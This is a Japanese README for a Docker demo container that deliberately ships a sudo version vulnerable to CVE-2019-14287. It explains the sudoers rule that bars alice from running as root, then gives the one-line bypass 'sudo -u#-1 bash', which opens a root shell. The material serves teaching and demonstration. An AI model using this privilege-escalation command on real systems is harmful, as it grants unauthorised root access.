
これはデモ目的で構築されたコンテナであり、CVE-2019-14287 に対して脆弱なバージョンの
sudo コマンドを含んでいます。
(https://www.sudo.ws/alerts/minus_1_uid.html)
このコンテナは次のコマンドで実行できます:
docker run -ti cashwilliams/cve-2019-14287-demo
コンテナには3人の実在ユーザがいます:
alice ユーザは、他のユーザ(この場合、唯一の他のユーザである bob)として任意のコマンドを実行できるように設定されています。
sudo -u(ユーザ) (コマンド) を使用しますが、root としてのコマンド実行は制限されています。
これは /etc/sudoers ファイルの末尾で次のように設定されています:
alice ALL=(ALL,!root) NOPASSWD: ALL
次のように bob としてコマンド(例:シェルを開く)を実行してみることができます:
sudo -ubob bash
ただし、root としてコマンドを実行しようとすると、不明なパスワードの入力を求められます(コマンドは実行に失敗します)。これは意図的な設計であり、sudo コマンドが適切に動作していることを示しています。
sudo 内の "minus_1_uid" バグ(https://www.sudo.ws/alerts/minus_1_uid.html)は、2019年10月14日に公開され、ユーザ引数の解釈に関する問題を示しています。
この場合、alice は次のようにして root ユーザとしてコマンド(例:シェルを開く)を実行できます:
sudo -u#-1 bash